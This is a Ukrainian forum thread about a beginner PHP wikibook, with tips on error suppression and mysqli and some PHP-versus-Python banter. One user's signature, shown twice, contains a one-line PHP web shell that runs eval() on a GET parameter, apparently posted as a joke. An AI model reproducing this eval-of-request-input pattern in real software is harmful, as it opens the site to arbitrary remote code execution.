1 Востаннє редагувалося bunyk (13.03.2013 22:22:47)

Тема: Вікіпідручник PHP

Щойно мені надоїло що я не знаю PHP, бо читати його не знаючи ніби ще можна, а от писати - вже трохи важче. То я сів і за 10 хвилин написав підручник про те як "вивчити" PHP за "5 хвилин".

Тим хто придумує задачі на 5+ він поки що не допоможе, хоча вони можуть внести свої доповнення і критику. Але тим хто має проблему на самому початку вивчення PHP - може навіть підійде. :)

2 Востаннє редагувалося funivan (10.03.2013 20:58:54)

Re: Вікіпідручник PHP

я б сказав "як познайомитись з РНР за 5 хвилин" ;) Класно для початківців в сам раз два три слова якраз норма)
До речі не використовуйте собачку перед викликом функцій, для приглушення помилок. Так як реально це створить проблеми для новачків ;)

// поганий приклад
@mysql_select_db
// хороший приклад
mysql_select_db
Подякували: bunyk1

3

Re: Вікіпідручник PHP

Я якраз хотів запитати: "а чого в тій функції собачка?". :)

4

Re: Вікіпідручник PHP

bunyk написав:

Щойно мені надоїло що я не знаю PHP, бо читати його не знаючи ніби ще можна, а от писати - вже трохи важче. То я сів і за 10 хвилин написав підручник про те як вивчити PHP за 5 хвилин.

Тим хто придумує задачі на 5+ він поки що не допоможе, хоча вони можуть внести свої доповнення і критику. Але тим хто має проблему на самому початку вивчення PHP - може навіть підійде. :)

класно написав)))))

5

Re: Вікіпідручник PHP

bunyk написав:

Я якраз хотів запитати: "а чого в тій функції собачка?". :)

@ - вбиває відображення помилок.

Почитай про mysqli. Краще його використовувати і є підтримка на всіх хостингах.
А щодо die... я зазвичай роблю наступні штуки, але це вже трохи по крутому:

class DB {
   private $db = NULL;
   
   function __construct() {
      $this->db = new mysqli(...);
   }
   
   function query($sql) {
      $result = $this->db->query($sql);
      if (!empty($this->$db->error)) echo $this->db->error;
      return $result;
   }
}

$db = new Db;
$result = $db->query('SELECT 2 + 2 FROM dual');
// ...

Доречі, ставити ; після } необов'язково :)

Подякували: bunyk, miroslav.chandler2

6

Re: Вікіпідручник PHP

Replace, варто ще добавити перевірку на існування інстанс, і використовувати його якщо існує. Щоб не плодити конекшини.

7

Re: Вікіпідручник PHP

Я просто показав приклад як зручніше працювати з БД :)

8

Re: Вікіпідручник PHP

Ну по цьому підручнику php не вивчиш.. Потрібно щось таке з безліччю прикладів застосування щоб зрозуміти логіку і можливості, а просто показати, що в тій мові є, то не варіант..

Я не розумію, що то взагалі дає - ось це умови, це цикли, це змінні. а то константи.. і робіть з ними, що хочете.. Потрібні приклади, безліч прикладів!

моя хата тут: http://ukrsource.org.ua/

9

Re: Вікіпідручник PHP

Nirvanus написав:

Ну по цьому підручнику php не вивчиш..

Я щойно взяв, і помістив деякі слова в лапки. Постійно забуваю що більшість людей не в курсі що я серйозно говорю тільки 29 лютого, і то не кожного. :)

10

Re: Вікіпідручник PHP

Крім того він містить майже все що про PHP знаю я. А цього досить аби писати на PHP сякі-такі сторінки. Правда написане буває не працює, але я працюю над цим. :) Треба буде ще додати про дебаг.

11

Re: Вікіпідручник PHP

Nirvanus написав:

Я не розумію, що то взагалі дає - ось це умови, це цикли, це змінні. а то константи..

Крім того до циклів і констант я ще не добрався. Тому ваша критика не тільки неконструктивна а й неправдива.

Піду поображаюсь.

Подякували: Replace1

12

Re: Вікіпідручник PHP

А для чого вам, bunyk те PHP? Ви ж ніби python`ніст? Сайти робити можна й там.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

13

Re: Вікіпідручник PHP

Invader написав:

А для чого вам, bunyk те PHP?

Тому що я зараз у Франківську, а тут найкращий університет який можна закінчити - ІФНТУНГ. Відповідно тих кілька людей які знають Python замало щоб створити робочі місця.

Цитую: "Був тут один, створив мені сайт на Рубі, потім поїхав до Києва, і я тут нікого не зміг знайти щоб цей сайт підтримувати. Довелось робити з нуля."

В мене є хитрий план розібратись у джанзі, а потім організувати халявний семінар по Python,  за підтримки якоїсь контори яка б позичила офіс, але поки що потрібно допомогти друзям. "Ти ж програміст?" :) А за гроші звичайно я б на PHP не писав.

Ще є проект який я роблю самостійно довелось робити на PHP бо купив хостинг до того як спробував щось там написати, ну й люблю адмінку WordPress.

Але після того як я згадав до в PHP не тільки синтаксис огидний, а ще й функції завжди в глобальному просторі, нема юнікодових рядків то пообіцяв собі що це - останні два проекти на PHP. Є ще мотивація підівчити, щоб можна було обґрунтовано обсирати. :D

Ну й крім того, я ж адмін вікіпідручника, і повинен час від часу рухати проект. А то двоє редакторів - якось мало. Над Python підручником мало хто працювати хоче, я подумав що раз PHP популярніший - то будемо пропагувати вікіпідручник серед пехепістів.

14

Re: Вікіпідручник PHP

В мене є хитрий план розібратись у джанзі, а потім організувати халявний семінар по Python,  за підтримки якоїсь контори яка б позичила офіс

Прийде три з половиною людини…  які потім про все благополучно забудуть. Для чого? Якщо вийде, то може відеозапис кудись на якийсь ютюб?

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

15

Re: Вікіпідручник PHP

А за гроші звичайно я б на PHP не писав.

і інші фрази. Давайте створимо гілку і похоліварим. Python проти PHP
я знаю що кожен з нас буде дотримуватись свого улюбленого але я не проти що б повивчати Python а ви не проти PHP можливо і дізнаємось щось цікаве =) Що  скажете?

16

Re: Вікіпідручник PHP

funivan написав:

я знаю що кожен з нас буде дотримуватись свого улюбленого але я не проти що б повивчати Python а ви не проти PHP можливо і дізнаємось щось цікаве =) Що  скажете?

Ну так я вчусь. Це часом неприємно, і часто хочеться пояснити чому саме не приємно, бо може хтось знає що я щось роблю не так (як от з PDO).

А щодо холіварів - варіант перший: не годуйте мене і я з часом змирюсь та заспокоюсь. Варіант другий: хай наші холівари переростають в code golf, це весело і продуктивно. :)

17

Re: Вікіпідручник PHP

Давайте code golf =) Я тільки за ;)

18

Re: Вікіпідручник PHP

А давайте холіварити наступним чином, якийсь фунціонал на PHP і той же на Pyton. Бо мені теж пітон цікавий через наявність в ньому кількох бібліотек для роботи з Jingle. А по підручниках продиратись через пояснення що таке строка чи масив якось нема бажання.

19

Re: Вікіпідручник PHP

Vo_Vik написав:

А давайте холіварити наступним чином, якийсь фунціонал на PHP і той же на Pyton. Бо мені теж пітон цікавий через наявність в ньому кількох бібліотек для роботи з Jingle. А по підручниках продиратись через пояснення що таке строка чи масив якось нема бажання.

А потім серед руїн і попелу тихо заспіває Рубі... :3

I belong to the Dead Generation.

20

Re: Вікіпідручник PHP

Можна туда і рубі в придачу)